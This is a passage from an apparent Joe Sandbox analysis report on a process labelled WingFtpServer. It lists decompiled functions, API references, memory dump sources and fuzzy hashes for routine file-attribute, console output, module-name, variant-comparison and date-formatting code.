							_t20 = CreateFileW(_t28, 0x80000000, 1, 0, 3, 0x2000000, 0);
							if(_t20 != 0xffffffff) {
								CloseHandle(_t20);
								_t22 = 0 | (_t27 & 0x00000010) != 0x00000000;
							}
						}
					} else {
						_t22 = 0 | (_t27 & 0x00000010) != 0x00000000;
					}
				}
				return _t22;
			}

0x03ac1675
0x03ac167a
0x03ac1683
0x03ac168b
0x03ac1690
0x03ac1717
0x03ac171f
0x03ac1741
0x03ac1745
0x03ac1745
0x03ac1745
0x03ac1696
0x03ac169c
0x03ac16b0
0x03ac16e6
0x03ac16ff
0x03ac1707
0x03ac1713
0x03ac1709
0x03ac170a
0x03ac170f
0x03ac170f
0x03ac16e8
0x03ac16e8
0x03ac16e8
0x03ac16b2
0x03ac16c5
0x03ac16cd
0x03ac16d0
0x03ac16db
0x03ac16db
0x03ac16cd
0x03ac169e
0x03ac16a4
0x03ac16a4
0x03ac169c
0x03ac174e

APIs

GetFileAttributesW.KERNEL32(00000000,?,?,?,?,?,03BC517B,00000000,03BC5BD0,?,?,?,?,000000C3,00000000,00000000), ref: 03AC1686
CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,02000000,00000000,00000000,?,?,?,?,?,03BC517B,00000000,03BC5BD0), ref: 03AC16C5
CloseHandle.KERNEL32(00000000,00000000,80000000,00000001,00000000,00000003,02000000,00000000,00000000,?,?,?,?,?,03BC517B,00000000), ref: 03AC16D0
GetLastError.KERNEL32(00000000,?,?,?,?,?,03BC517B,00000000,03BC5BD0,?,?,?,?,000000C3,00000000,00000000), ref: 03AC1717

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: File$AttributesCloseCreateErrorHandleLast
String ID:
API String ID: 2927643983-0
Opcode ID: d5c61fc84cf17087ab30b3c3a8d81459e976dc3ec313a197b82faf460b5f26dd
Instruction ID: a8ed4eb23b177a97ccd99704853667c1ae7ce3561f2dee5b2566c78060913750
Opcode Fuzzy Hash: d5c61fc84cf17087ab30b3c3a8d81459e976dc3ec313a197b82faf460b5f26dd
Instruction Fuzzy Hash: 33110135B753C428FA36E2685CC5BBA915D4B03320F3C0A2FFA54BA2C3C988E481AC15

Uniqueness

Uniqueness Score: -1.00%

Function 03AA6234 Relevance: 9.1, APIs: 6, Instructions: 51
fileCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E03AA6234(int __eax, void* __ecx, void* __edx) {
				long _v12;
				int _t4;
				long _t7;
				void* _t11;
				long _t12;
				void* _t13;
				long _t18;

				_t4 = __eax;
				_t24 = __edx;
				_t20 = __eax;
				if( *0x3bd305c == 0) {
					_push(0x2010);
					_push(__edx);
					_push(__eax);
					_push(0);
					L03AA520C();
				} else {
					_t7 = E03AAA0EC(__edx);
					WriteFile(GetStdHandle(0xfffffff4), _t24, _t7,  &_v12, 0);
					_t11 =  *0x3bce06c; // 0x3aa53a4
					_t12 = E03AAA0EC(_t11);
					_t13 =  *0x3bce06c; // 0x3aa53a4
					WriteFile(GetStdHandle(0xfffffff4), _t13, _t12,  &_v12, 0);
					_t18 = E03AAA0EC(_t20);
					_t4 = WriteFile(GetStdHandle(0xfffffff4), _t20, _t18,  &_v12, 0);
				}
				return _t4;
			}

0x03aa6234
0x03aa6237
0x03aa6239
0x03aa6242
0x03aa62a5
0x03aa62aa
0x03aa62ab
0x03aa62ac
0x03aa62ae
0x03aa6244
0x03aa624d
0x03aa625c
0x03aa6268
0x03aa626d
0x03aa6273
0x03aa6281
0x03aa628f
0x03aa629e
0x03aa629e
0x03aa62b6

APIs

GetStdHandle.KERNEL32(000000F4,03AA53A8,00000000,?,00000000,?,?,00000000,03AA6BDF), ref: 03AA6256
WriteFile.KERNEL32(00000000,000000F4,03AA53A8,00000000,?,00000000,?,?,00000000,03AA6BDF), ref: 03AA625C
GetStdHandle.KERNEL32(000000F4,03AA53A4,00000000,?,00000000,00000000,000000F4,03AA53A8,00000000,?,00000000,?,?,00000000,03AA6BDF), ref: 03AA627B
WriteFile.KERNEL32(00000000,000000F4,03AA53A4,00000000,?,00000000,00000000,000000F4,03AA53A8,00000000,?,00000000,?,?,00000000,03AA6BDF), ref: 03AA6281
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,00000000,000000F4,03AA53A4,00000000,?,00000000,00000000,000000F4,03AA53A8,00000000,?), ref: 03AA6298
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,00000000,000000F4,03AA53A4,00000000,?,00000000,00000000,000000F4,03AA53A8,00000000), ref: 03AA629E

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: FileHandleWrite
String ID:
API String ID: 3320372497-0
Opcode ID: d6d831895c927fd98b15b46204ba8b066cf153d8df4612db38fda8c97eec9a9a
Instruction ID: 45bf299c08c0c1ebf3d1c43e5e1ddc225e8ab1a28a5f6eb55c54748a8dfbca88
Opcode Fuzzy Hash: d6d831895c927fd98b15b46204ba8b066cf153d8df4612db38fda8c97eec9a9a
Instruction Fuzzy Hash: 6101CDABA047107EE124F26C9E84F5B26CC8B49624F2046137658DF2D1C7548C04DBB5

Uniqueness

Uniqueness Score: -1.00%

Function 03AC6920 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E03AC6920(intOrPtr* __eax, void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, void* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v534;
				short _v1056;
				short _v1568;
				struct _MEMORY_BASIC_INFORMATION _v1596;
				char _v1600;
				intOrPtr _v1604;
				char _v1608;
				intOrPtr _v1612;
				char _v1616;
				intOrPtr _v1620;
				char _v1624;
				char* _v1628;
				char _v1632;
				char _v1636;
				char _v1640;
				struct HINSTANCE__* _t44;
				intOrPtr _t55;
				struct HINSTANCE__* _t57;
				signed int _t76;
				void* _t82;
				intOrPtr _t83;
				intOrPtr _t95;
				intOrPtr _t98;
				intOrPtr _t100;
				intOrPtr* _t102;
				void* _t105;

				_v1640 = 0;
				_v8 = __ecx;
				_t82 = __edx;
				_t102 = __eax;
				_push(_t105);
				_push(0x3ac6acc);
				_push( *[fs:eax]);
				 *[fs:eax] = _t105 + 0xfffff99c;
				VirtualQuery(__edx,  &_v1596, 0x1c);
				if(_v1596.State != 0x1000 || GetModuleFileNameW(_v1596.AllocationBase,  &_v1056, 0x105) == 0) {
					_t44 =  *0x3bd6634; // 0x3aa0000
					GetModuleFileNameW(_t44,  &_v1056, 0x105);
					_v12 = E03AC6914(_t82);
				} else {
					_v12 = _t82 - _v1596.AllocationBase;
				}
				E03AC1B80( &_v534, 0x104, E03AC852C() + 2);
				_t83 = 0x3ac6ae0;
				_t100 = 0x3ac6ae0;
				_t95 =  *0x3ab9868; // 0x3ab98c0
				if(E03AA7F4C(_t102, _t95) != 0) {
					_t83 = E03AAA8E4( *((intOrPtr*)(_t102 + 4)));
					_t76 = E03AAA100(_t83);
					if(_t76 != 0 &&  *((short*)(_t83 + _t76 * 2 - 2)) != 0x2e) {
						_t100 = 0x3ac6ae4;
					}
				}
				_t55 =  *0x3bd25c0; // 0x3ab2af4
				_t18 = _t55 + 4; // 0xffec
				_t57 =  *0x3bd6634; // 0x3aa0000
				LoadStringW(E03AAC530(_t57),  *_t18,  &_v1568, 0x100);
				E03AA7A20( *_t102,  &_v1640);
				_v1636 = _v1640;
				_v1632 = 0x11;
				_v1628 =  &_v534;
				_v1624 = 0xa;
				_v1620 = _v12;
				_v1616 = 5;
				_v1612 = _t83;
				_v1608 = 0xa;
				_v1604 = _t100;
				_v1600 = 0xa;
				E03AC1E90(4,  &_v1636);
				E03AAA100(_v8);
				_pop(_t98);
				 *[fs:eax] = _t98;
				_push(0x3ac6ad3);
				return E03AA9C1C( &_v1640);
			}

0x03ac692e
0x03ac6934
0x03ac6937
0x03ac6939
0x03ac693d
0x03ac693e
0x03ac6943
0x03ac6946
0x03ac6953
0x03ac6962
0x03ac698c
0x03ac6992
0x03ac699e
0x03ac69a3
0x03ac69a9
0x03ac69a9
0x03ac69cb
0x03ac69d0
0x03ac69d5
0x03ac69dc
0x03ac69e9
0x03ac69f3
0x03ac69f7
0x03ac69fe
0x03ac6a08
0x03ac6a08
0x03ac69fe
0x03ac6a19
0x03ac6a1e
0x03ac6a22
0x03ac6a2d
0x03ac6a3a
0x03ac6a45
0x03ac6a4b
0x03ac6a58
0x03ac6a5e
0x03ac6a68
0x03ac6a6e
0x03ac6a75
0x03ac6a7b
0x03ac6a82
0x03ac6a88
0x03ac6aa4
0x03ac6aac
0x03ac6ab5
0x03ac6ab8
0x03ac6abb
0x03ac6acb

APIs

VirtualQuery.KERNEL32(?,?,0000001C,00000000,03AC6ACC), ref: 03AC6953
GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 03AC6977
GetModuleFileNameW.KERNEL32(MZP,?,00000105), ref: 03AC6992
LoadStringW.USER32(00000000,0000FFEC,?,00000100), ref: 03AC6A2D

Strings

MZP, xrefs: 03AC6991

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID: MZP
API String ID: 3990497365-2889622443
Opcode ID: 1ae08763943b2dad63d7725a7cac8ad8001dd624bd987a86ba8ce45449da3013
Instruction ID: 9f3b509a123d1b02b2993d2c4cbf8b72d7d39fe9ee6fdb159221088ada1890f2
Opcode Fuzzy Hash: 1ae08763943b2dad63d7725a7cac8ad8001dd624bd987a86ba8ce45449da3013
Instruction Fuzzy Hash: BB410975A007589FDB20EF68CD80BDAB7F9AB48200F4484EAE508EB351D7769E94CF50

Uniqueness

Uniqueness Score: -1.00%

Function 03AD8964 Relevance: 7.8, APIs: 5, Instructions: 335
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E03AD8964(signed short* __eax, signed int __ecx, signed short* __edx, void* __edi, void* __fp0) {
				signed int _v8;
				signed char _v9;
				signed int _v12;
				signed int _v14;
				void* _v20;
				void* _v24;
				signed short* _v28;
				signed short* _v32;
				signed int _v48;
				void* __ebx;
				void* __ebp;
				signed int _t150;
				signed int _t272;
				intOrPtr _t328;
				intOrPtr _t331;
				intOrPtr _t339;
				intOrPtr _t347;
				intOrPtr _t355;
				void* _t360;
				void* _t362;
				intOrPtr _t363;

				_t367 = __fp0;
				_t358 = __edi;
				_t360 = _t362;
				_t363 = _t362 + 0xffffffd4;
				_v8 = __ecx;
				_v32 = __edx;
				_v28 = __eax;
				_v9 = 1;
				_t272 =  *_v28 & 0x0000ffff;
				if((_t272 & 0x00000fff) >= 0x10f) {
					_t150 =  *_v32 & 0x0000ffff;
					if(_t150 != 0) {
						if(_t150 != 1) {
							if(E03AD9BE4(_t272,  &_v20) != 0) {
								_push( &_v14);
								_t273 =  *_v20;
								if( *((intOrPtr*)( *_v20 + 8))() == 0) {
									_t275 =  *_v32 & 0x0000ffff;
									if(( *_v32 & 0xfff) >= 0x10f) {
										if(E03AD9BE4(_t275,  &_v24) != 0) {
											_push( &_v12);
											_t276 =  *_v24;
											if( *((intOrPtr*)( *_v24 + 4))() == 0) {
												E03AD1618(0xb);
												goto L41;
											} else {
												if(( *_v28 & 0x0000ffff) == _v12) {
													_t143 = ( *((intOrPtr*)( *_v24 + 0x34))(_v8) & 0x0000007f) - 0x1c; // 0x48b0424
													_v9 =  *(0x3bd0766 + _v8 * 2 + _t143) & 0x000000ff;
													goto L41;
												} else {
													_push( &_v48);
													L03ACFB80();
													_push(_t360);
													_push(0x3ad8d5c);
													_push( *[fs:eax]);
													 *[fs:eax] = _t363;
													_t289 = _v12 & 0x0000ffff;
													E03AD28E0( &_v48, _t276, _v12 & 0x0000ffff, _v28, __edi, __fp0);
													if((_v48 & 0x0000ffff) != _v12) {
														E03AD1520(_t289);
													}
													_t131 = ( *((intOrPtr*)( *_v24 + 0x34))(_v8) & 0x0000007f) - 0x1c; // 0x48b0424
													_v9 =  *(0x3bd0766 + _v8 * 2 + _t131) & 0x000000ff;
													_pop(_t328);
													 *[fs:eax] = _t328;
													_push(E03AD8D91);
													return E03AD1CA0( &_v48);
												}
											}
										} else {
											E03AD1618(0xb);
											goto L41;
										}
									} else {
										_push( &_v48);
										L03ACFB80();
										_push(_t360);
										_push(0x3ad8ca3);
										_push( *[fs:eax]);
										 *[fs:eax] = _t363;
										_t294 =  *_v32 & 0x0000ffff;
										E03AD28E0( &_v48, _t275,  *_v32 & 0x0000ffff, _v28, __edi, __fp0);
										if(( *_v32 & 0x0000ffff) != _v48) {
											E03AD1520(_t294);
										}
										_v9 = E03AD877C( &_v48, _v8, _v32, _t358, _t360, _t367);
										_pop(_t331);
										 *[fs:eax] = _t331;
										_push(E03AD8D91);
										return E03AD1CA0( &_v48);
									}
								} else {
									if(( *_v32 & 0x0000ffff) == _v14) {
										_t95 = ( *((intOrPtr*)( *_v20 + 0x34))(_v8) & 0x0000007f) - 0x1c; // 0x48b0424
										_v9 =  *(0x3bd0766 + _v8 * 2 + _t95) & 0x000000ff;
										goto L41;
									} else {
										_push( &_v48);
										L03ACFB80();
										_push(_t360);
										_push(0x3ad8bfe);
										_push( *[fs:eax]);
										 *[fs:eax] = _t363;
										_t299 = _v14 & 0x0000ffff;
										E03AD28E0( &_v48, _t273, _v14 & 0x0000ffff, _v32, __edi, __fp0);
										if((_v48 & 0x0000ffff) != _v14) {
											E03AD1520(_t299);
										}
										_t83 = ( *((intOrPtr*)( *_v20 + 0x34))(_v8) & 0x0000007f) - 0x1c; // 0x48b0424
										_v9 =  *(0x3bd0766 + _v8 * 2 + _t83) & 0x000000ff;
										_pop(_t339);
										 *[fs:eax] = _t339;
										_push(E03AD8D91);
										return E03AD1CA0( &_v48);
									}
								}
							} else {
								E03AD1618(__ecx);
								goto L41;
							}
						} else {
							_v9 = E03AD84FC(_v8, 2);
							goto L41;
						}
					} else {
						_v9 = E03AD84E8(0, 1);
						goto L41;
					}
				} else {
					if(_t272 != 0) {
						if(_t272 != 1) {
							if(E03AD9BE4( *_v32 & 0x0000ffff,  &_v24) != 0) {
								_push( &_v12);
								_t282 =  *_v24;
								if( *((intOrPtr*)( *_v24 + 4))() == 0) {
									_push( &_v48);
									L03ACFB80();
									_push(_t360);
									_push(0x3ad8b0f);
									_push( *[fs:eax]);
									 *[fs:eax] = _t363;
									_t306 =  *_v28 & 0x0000ffff;
									E03AD28E0( &_v48, _t282,  *_v28 & 0x0000ffff, _v32, __edi, __fp0);
									if((_v48 & 0xfff) !=  *_v28) {
										E03AD1520(_t306);
									}
									_v9 = E03AD877C(_v28, _v8,  &_v48, _t358, _t360, _t367);
									_pop(_t347);
									 *[fs:eax] = _t347;
									_push(E03AD8D91);
									return E03AD1CA0( &_v48);
								} else {
									if(( *_v28 & 0x0000ffff) == _v12) {
										_t44 = ( *((intOrPtr*)( *_v24 + 0x34))(_v8) & 0x0000007f) - 0x1c; // 0x48b0424
										_v9 =  *(0x3bd0766 + _v8 * 2 + _t44) & 0x000000ff;
										goto L41;
									} else {
										_push( &_v48);
										L03ACFB80();
										_push(_t360);
										_push(0x3ad8a78);
										_push( *[fs:eax]);
										 *[fs:eax] = _t363;
										_t311 = _v12 & 0x0000ffff;
										E03AD28E0( &_v48, _t282, _v12 & 0x0000ffff, _v28, __edi, __fp0);
										if((_v48 & 0xfff) != _v12) {
											E03AD1520(_t311);
										}
										_t32 = ( *((intOrPtr*)( *_v24 + 0x34))(_v8) & 0x0000007f) - 0x1c; // 0x48b0424
										_v9 =  *(0x3bd0766 + _v8 * 2 + _t32) & 0x000000ff;
										_pop(_t355);
										 *[fs:eax] = _t355;
										_push(E03AD8D91);
										return E03AD1CA0( &_v48);
									}
								}
							} else {
								E03AD1618(__ecx);
								goto L41;
							}
						} else {
							_v9 = E03AD84FC(_v8, 0);
							goto L41;
						}
					} else {
						_v9 = E03AD84E8(1, 0);
						L41:
						return _v9 & 0x000000ff;
					}
				}
			}

0x03ad8964
0x03ad8964
0x03ad8965
0x03ad8967
0x03ad896b
0x03ad896e
0x03ad8971
0x03ad8974
0x03ad897b
0x03ad8988
0x03ad8b19
0x03ad8b1f
0x03ad8b36
0x03ad8b58
0x03ad8b67
0x03ad8b73
0x03ad8b7a
0x03ad8c34
0x03ad8c41
0x03ad8cb6
0x03ad8cc5
0x03ad8cd1
0x03ad8cd8
0x03ad8d8c
0x00000000
0x03ad8cde
0x03ad8ce8
0x03ad8d82
0x03ad8d87
0x00000000
0x03ad8cea
0x03ad8ced
0x03ad8cee
0x03ad8cf5
0x03ad8cf6
0x03ad8cfb
0x03ad8cfe
0x03ad8d01
0x03ad8d0b
0x03ad8d18
0x03ad8d1a
0x03ad8d1a
0x03ad8d3e
0x03ad8d43
0x03ad8d48
0x03ad8d4b
0x03ad8d4e
0x03ad8d5b
0x03ad8d5b
0x03ad8ce8
0x03ad8cb8
0x03ad8cb8
0x00000000
0x03ad8cb8
0x03ad8c43
0x03ad8c46
0x03ad8c47
0x03ad8c4e
0x03ad8c4f
0x03ad8c54
0x03ad8c57
0x03ad8c5d
0x03ad8c66
0x03ad8c75
0x03ad8c77
0x03ad8c77
0x03ad8c8a
0x03ad8c8f
0x03ad8c92
0x03ad8c95
0x03ad8ca2
0x03ad8ca2
0x03ad8b80
0x03ad8b8a
0x03ad8c24
0x03ad8c29
0x00000000
0x03ad8b8c
0x03ad8b8f
0x03ad8b90
0x03ad8b97
0x03ad8b98
0x03ad8b9d
0x03ad8ba0
0x03ad8ba3
0x03ad8bad
0x03ad8bba
0x03ad8bbc
0x03ad8bbc
0x03ad8be0
0x03ad8be5
0x03ad8bea
0x03ad8bed
0x03ad8bf0
0x03ad8bfd
0x03ad8bfd
0x03ad8b8a
0x03ad8b5a
0x03ad8b5a
0x00000000
0x03ad8b5a
0x03ad8b38
0x03ad8b44
0x00000000
0x03ad8b44
0x03ad8b21
0x03ad8b2a
0x00000000
0x03ad8b2a
0x03ad898e
0x03ad8991
0x03ad89a8
0x03ad89ce
0x03ad89dd
0x03ad89e9
0x03ad89f0
0x03ad8aae
0x03ad8aaf
0x03ad8ab6
0x03ad8ab7
0x03ad8abc
0x03ad8abf
0x03ad8ac5
0x03ad8ace
0x03ad8ae1
0x03ad8ae3
0x03ad8ae3
0x03ad8af6
0x03ad8afb
0x03ad8afe
0x03ad8b01
0x03ad8b0e
0x03ad89f6
0x03ad8a00
0x03ad8a9e
0x03ad8aa3
0x00000000
0x03ad8a02
0x03ad8a05
0x03ad8a06
0x03ad8a0d
0x03ad8a0e
0x03ad8a13
0x03ad8a16
0x03ad8a19
0x03ad8a23
0x03ad8a34
0x03ad8a36
0x03ad8a36
0x03ad8a5a
0x03ad8a5f
0x03ad8a64
0x03ad8a67
0x03ad8a6a
0x03ad8a77
0x03ad8a77
0x03ad8a00
0x03ad89d0
0x03ad89d0
0x00000000
0x03ad89d0
0x03ad89aa
0x03ad89b6
0x00000000
0x03ad89b6
0x03ad8993
0x03ad899c
0x03ad8d91
0x03ad8d99
0x03ad8d99
0x03ad8991

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edf072323447e974582dd1535f0bb7246aa3c5b4ba7047d22afc7fecd36911db
Instruction ID: e81324e492de94c0595eda83bf7805514437bd35f18b8b03763334a9b595695d
Opcode Fuzzy Hash: edf072323447e974582dd1535f0bb7246aa3c5b4ba7047d22afc7fecd36911db
Instruction Fuzzy Hash: A7D17179E002099FCF00EFA8C5918FEB7B9EF49300B5480A7E952AB355D6389A45DB71

Uniqueness

Uniqueness Score: -1.00%

Function 03AC3EA8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 77
threadCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E03AC3EA8(void* __eax, void* __ebx, intOrPtr* __edx, void* __esi, intOrPtr _a4) {
				char _v8;
				short _v18;
				short _v22;
				struct _SYSTEMTIME _v24;
				short _v536;
				short* _t32;
				intOrPtr* _t47;
				intOrPtr _t56;
				void* _t61;
				intOrPtr _t63;
				void* _t67;

				_v8 = 0;
				_t47 = __edx;
				_t61 = __eax;
				_push(_t67);
				_push(0x3ac3f8b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t67 + 0xfffffdec;
				E03AA9C1C(__edx);
				_v24 =  *(_a4 - 2) & 0x0000ffff;
				_v22 =  *(_a4 - 4) & 0x0000ffff;
				_v18 =  *(_a4 - 6) & 0x0000ffff;
				if(_t61 > 2) {
					E03AAA044( &_v8, L"yyyy");
				} else {
					E03AAA044( &_v8, 0x3ac3fa4);
				}
				_t32 = E03AAA8E4(_v8);
				if(GetDateFormatW(GetThreadLocale(), 4,  &_v24, _t32,  &_v536, 0x200) != 0) {
					E03AAA99C(_t47, 0x100,  &_v536);
					if(_t61 == 1 &&  *((short*)( *_t47)) == 0x30) {
						_t63 =  *_t47;
						if(_t63 != 0) {
							_t63 =  *((intOrPtr*)(_t63 - 4));
						}
						E03AAACBC( *_t47, _t63 - 1, 2, _t47);
					}
				}
				_pop(_t56);
				 *[fs:eax] = _t56;
				_push(0x3ac3f92);
				return E03AA9C1C( &_v8);
			}

0x03ac3eb5
0x03ac3eb8
0x03ac3eba
0x03ac3ebe
0x03ac3ebf
0x03ac3ec4
0x03ac3ec7
0x03ac3ecc
0x03ac3ed8
0x03ac3ee3
0x03ac3eee
0x03ac3ef5
0x03ac3f0e
0x03ac3ef7
0x03ac3eff
0x03ac3eff
0x03ac3f22
0x03ac3f3b
0x03ac3f4a
0x03ac3f50
0x03ac3f5a
0x03ac3f5e
0x03ac3f63
0x03ac3f63
0x03ac3f70
0x03ac3f70
0x03ac3f50
0x03ac3f77
0x03ac3f7a
0x03ac3f7d
0x03ac3f8a

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000200,00000000,03AC3F8B), ref: 03AC3F2E
GetDateFormatW.KERNEL32(00000000,00000004,?,00000000,?,00000200,00000000,03AC3F8B), ref: 03AC3F34

Strings

, xrefs: 03AC3EFA
yyyy, xrefs: 03AC3F09

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: $yyyy
API String ID: 3303714858-404527807
Opcode ID: 3d8fac35e3e1dae7e13f7dbc9117c3ccc1cd50d28cfe93d80a1ca0371851ef71
Instruction ID: 6bd52416d40663ee9e64e34d45c0a25f05468c07800a4e58e68e6aa297888a89
Opcode Fuzzy Hash: 3d8fac35e3e1dae7e13f7dbc9117c3ccc1cd50d28cfe93d80a1ca0371851ef71
Instruction Fuzzy Hash: DD214F39614658AFDB11DF58C944AAEB3F8EF09710F5184ABE905EF390D7389E40C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 03AACC08 Relevance: 6.1, APIs: 4, Instructions: 95
threadCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E03AACC08(signed short __eax, void* __edx) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				signed int _v20;
				short _v22;
				short _v24;
				char _v26;
				char _v32;
				void* __ebp;
				void* _t39;
				void* _t55;
				void* _t59;
				short* _t62;
				signed short _t66;
				void* _t67;
				void* _t68;
				signed short _t79;
				void* _t81;

				_t81 = __edx;
				_t66 = __eax;
				_v16 = 0;
				if(__eax !=  *0x3bd5c0c()) {
					_v16 = E03AACBC4( &_v8);
					_t79 = _t66;
					_v20 = 3;
					_t62 =  &_v26;
					do {
						 *_t62 =  *(0xf + "0123456789ABCDEF") & 0x000000ff;
						_t79 = (_t79 & 0x0000ffff) >> 4;
						_v20 = _v20 - 1;
						_t62 = _t62 - 2;
					} while (_v20 != 0xffffffff);
					_v24 = 0;
					_v22 = 0;
					 *0x3bd5c08(4,  &_v32,  &_v20);
				}
				_t39 = E03AACBC4( &_v12);
				_t67 = _t39;
				if(_t67 != 0) {
					_t55 = _v12 - 2;
					if(_t55 >= 0) {
						_t59 = _t55 + 1;
						_v20 = 0;
						do {
							if( *((short*)(_t67 + _v20 * 2)) == 0) {
								 *((short*)(_t67 + _v20 * 2)) = 0x2c;
							}
							_v20 = _v20 + 1;
							_t59 = _t59 - 1;
						} while (_t59 != 0);
					}
					E03AAA948(_t81, _t67);
